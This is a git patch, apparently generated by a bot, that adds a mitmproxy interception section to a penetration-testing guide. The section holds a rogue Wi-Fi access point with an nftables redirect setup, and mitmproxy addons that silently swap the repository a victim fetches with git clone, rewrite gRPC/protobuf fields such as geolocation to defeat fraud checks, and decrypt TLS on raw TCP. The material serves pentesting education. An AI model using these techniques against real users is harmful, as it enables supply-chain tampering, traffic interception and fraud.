From 2dd64e9164cd3e7c07ce07f1c2cca268882832aa Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Wed, 8 Apr 2026 19:26:19 +0000 Subject: [PATCH] Add content from: mitmproxy for fun and profit: Interception and Analysis of A... --- .../pentesting-network/README.md | 136 +++++++++++++++++- 1 file changed, 134 insertions(+), 2 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md index a128c17e554..bf778cd11d0 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/README.md +++ b/src/generic-methodologies-and-resources/pentesting-network/README.md @@ -257,6 +257,137 @@ Obviously. You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. +### Transparent interception with mitmproxy + +`mitmproxy` is useful when passive sniffing is not enough and you need to **decrypt, modify, and replay** traffic. For network pentests, the most interesting modes are: + +- **Explicit proxy**: the client is configured to use the proxy. +- **Transparent proxy**: traffic is redirected with firewall/routing rules and the client is unaware of the proxy. +- **`reverse:tls`**: terminate TLS from the client and create a new TLS connection to the real server, useful for non-HTTP protocols over raw TCP. + +For transparent HTTPS interception, `mitmproxy` forges certificates dynamically from the **SNI** in the TLS `ClientHello`, so you still need the target to trust the proxy root CA. Apps that use **certificate pinning**, **QUIC/UDP**, or another transport outside the redirected TCP path will need extra work. + +#### Isolated transparent MITM lab with network namespaces + `nftables` + +Linux **network namespaces** let you build a disposable interception lab without polluting the host routing, DNS, and firewall state. A practical pattern is: + +1. Create a namespace and move the interception interfaces into it. +2. Create a Wi-Fi AP inside the namespace with `lnxrouter`. +3. Redirect HTTP/HTTPS/DNS to `mitmproxy` with `nftables`. +4. Run `mitmweb` or `mitmdump` inside the namespace. + +```bash +MITM_NS=mitm +WIFI_IFACE=wlan0 +MITM_PORT=8080 +MITM_DNS_PORT=5353 +MITM_IP=10.10.0.1 +OUTPUT_IFACE=tun0 + +ip netns add $MITM_NS +ip netns exec $MITM_NS ip link set lo up +ip link set $WIFI_IFACE down +ip link set $WIFI_IFACE netns $MITM_NS +ip netns exec $MITM_NS ip link set $WIFI_IFACE up + +ip netns exec $MITM_NS lnxrouter \ + --ap $WIFI_IFACE mitm_lab \ + -p VerySecurePasswd \ + -o $OUTPUT_IFACE \ + --dhcp-range=10.10.0.10,10.10.0.100,255.255.255.0,24h + +ip netns exec $MITM_NS nft add table nat +ip netns exec $MITM_NS nft add chain nat prerouting '{ type nat hook prerouting priority -100 ; }' +ip netns exec $MITM_NS nft add rule nat prerouting iifname $WIFI_IFACE ip daddr != $MITM_IP tcp dport 80 redirect to $MITM_PORT +ip netns exec $MITM_NS nft add rule nat prerouting iifname $WIFI_IFACE ip daddr != $MITM_IP tcp dport 443 redirect to $MITM_PORT +ip netns exec $MITM_NS nft add rule nat prerouting iifname $WIFI_IFACE udp dport 53 redirect to $MITM_DNS_PORT + +ip netns exec $MITM_NS mitmweb --mode transparent --listen-host $MITM_IP --listen-port $MITM_PORT +``` + +The `ip daddr != $MITM_IP` check avoids redirect loops when clients talk directly to the proxy host. + +#### Rewriting Git smart-HTTP during `git clone` + +Git over HTTPS is a good target because many developers only check `git remote -v`, not the downloaded object IDs or commit signatures. If the victim uses `HTTP_PROXY` / `HTTPS_PROXY` and trusts your interception CA with `GIT_SSL_CAINFO` (or disables validation with `GIT_SSL_NO_VERIFY=true`), you can rewrite only the smart-HTTP endpoints and silently swap the fetched repository: + +```python +from mitmproxy import ctx, http + +SRC_REPO_PATH = "/nmap/nmap" +DST_REPO_PATH = "/topjohnwu/Magisk" + +def request(flow: http.HTTPFlow): + req = flow.request + if req.host != "github.com": + return + if req.path.startswith(f"{SRC_REPO_PATH}/info/refs"): + req.path = req.path.replace(SRC_REPO_PATH, DST_REPO_PATH) + ctx.log.info(f"[info/refs] {SRC_REPO_PATH} -> {DST_REPO_PATH}") + elif req.path.startswith(f"{SRC_REPO_PATH}/git-upload-pack"): + req.path = req.path.replace(SRC_REPO_PATH, DST_REPO_PATH) + ctx.log.info(f"[git-upload-pack] {SRC_REPO_PATH} -> {DST_REPO_PATH}") +``` + +This keeps the visible remote URL unchanged while swapping the refs and objects actually downloaded. + +#### Tampering with raw gRPC / protobuf traffic + +For native mobile/desktop apps, you will often see **HTTP/2 gRPC**, not gRPC-Web. Once TLS is decrypted, the request body usually starts with the standard gRPC frame: + +- `1 byte` compression flag +- `4 bytes` message length in **big endian** +- `N bytes` protobuf payload + +If you recover or infer the `.proto`, compile it with `protoc --python_out=.`, parse the message inside a `mitmproxy` addon, edit the fields you care about, serialize it again, and rebuild the gRPC frame: + +```python +GRPC_FRAMING_LEN = 5 + +def request(flow: http.HTTPFlow): + if not flow.request.headers.get("content-type", "").lower().startswith("application/grpc"): + return + + data = flow.request.content + if not data or len(data) < GRPC_FRAMING_LEN: + return + + msg_len = int.from_bytes(data[1:5], byteorder="big") + msg = data[5:5 + msg_len] + + parsed = ReverseGeocodeRequest() + parsed.ParseFromString(msg) + parsed.location.latitude = 48.8584 + parsed.location.longitude = 2.2945 + + new_msg = parsed.SerializeToString() + flow.request.content = bytes([0]) + len(new_msg).to_bytes(4, byteorder="big") + new_msg +``` + +This is the reusable part: **decode gRPC framing, mutate protobuf, reframe**. The same pattern works for fraud checks, geolocation, feature flags, or any other protobuf-serialized field. + +#### Intercepting non-HTTP TLS protocols with `reverse:tls` + +Some apps do not speak HTTP at all. If the application uses **TLS over raw TCP** and the client accepts your certificate, you can still terminate TLS with `mitmproxy` and decode the inner protocol yourself: + +```bash +mitmweb \ + --ssl-insecure \ + --mode reverse:tls://: \ + --listen-port 64738 \ + -s intercept_tcp_messages.py +``` + +For TCP protocols you must usually implement **per-connection buffering** because one logical message may be split across several TCP segments. Typical workflow: + +1. Accumulate bytes per `flow.id`. +2. Parse the custom header (for example `2-byte type + 4-byte big-endian length`). +3. Wait until the full payload is available. +4. Deserialize protobuf or the protocol-specific structure. +5. Log or mutate the parsed message. + +This pattern is useful for apps that use protobuf or other binary RPC formats inside TLS but are invisible to classic HTTP-only proxy workflows. + ## LAN attacks ### ARP spoofing @@ -998,9 +1129,10 @@ telecom-network-exploitation.md - [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - [Paint it blue: Attacking the bluetooth stack (Synacktiv)](https://www.synacktiv.com/en/publications/paint-it-blue-attacking-the-bluetooth-stack) - [BlueBorne L2CAP testing infra (l2cap_infra)](https://github.com/ArmisSecurity/blueborne/tree/master/l2cap_infra) +- [mitmproxy for fun and profit: Interception and Analysis of Application Traffic](https://www.synacktiv.com/en/publications/mitmproxy-for-fun-and-profit-interception-and-analysis-of-application-traffic.html) +- [mitmproxy docs - modes](https://docs.mitmproxy.org/stable/concepts/modes/) +- [linux-router / lnxrouter](https://github.com/garywill/linux-router) {{#include ../../banners/hacktricks-training.md}} - -